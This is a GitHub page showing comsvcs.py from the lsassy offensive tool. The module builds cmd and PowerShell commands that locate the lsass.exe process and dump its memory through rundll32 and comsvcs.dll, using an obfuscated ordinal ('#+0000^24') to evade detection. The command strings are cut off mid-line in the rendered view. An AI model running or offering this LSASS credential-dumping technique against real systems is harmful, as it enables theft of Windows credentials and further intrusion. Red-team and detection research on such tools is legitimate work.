Sign in

login-securite / **lsassy** Public

Notifications · Fork 247 · Star 2.1k

Code · Issues 3 · Pull requests · Actions · Security · Insights

lsassy / lsassy / dumpmethod / **comsvcs.py**

`19 lines (12 loc) · 683 Bytes`

Code · Blame · Raw

```python
from lsassy.dumpmethod import IDumpMethod


class DumpMethod(IDumpMethod):

    need_debug_privilege = True


    def get_commands(self):
        cmd_command = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.e
            self.dump_path, self.dump_name)

        pwsh_command = """rundll32.exe C:\\Windows\\System32\\comsvcs.dll, #+0000^24 (Get-Process
            self.dump_path, self.dump_name)

        return {
            "cmd": cmd_command,
            "pwsh": pwsh_command
        }
```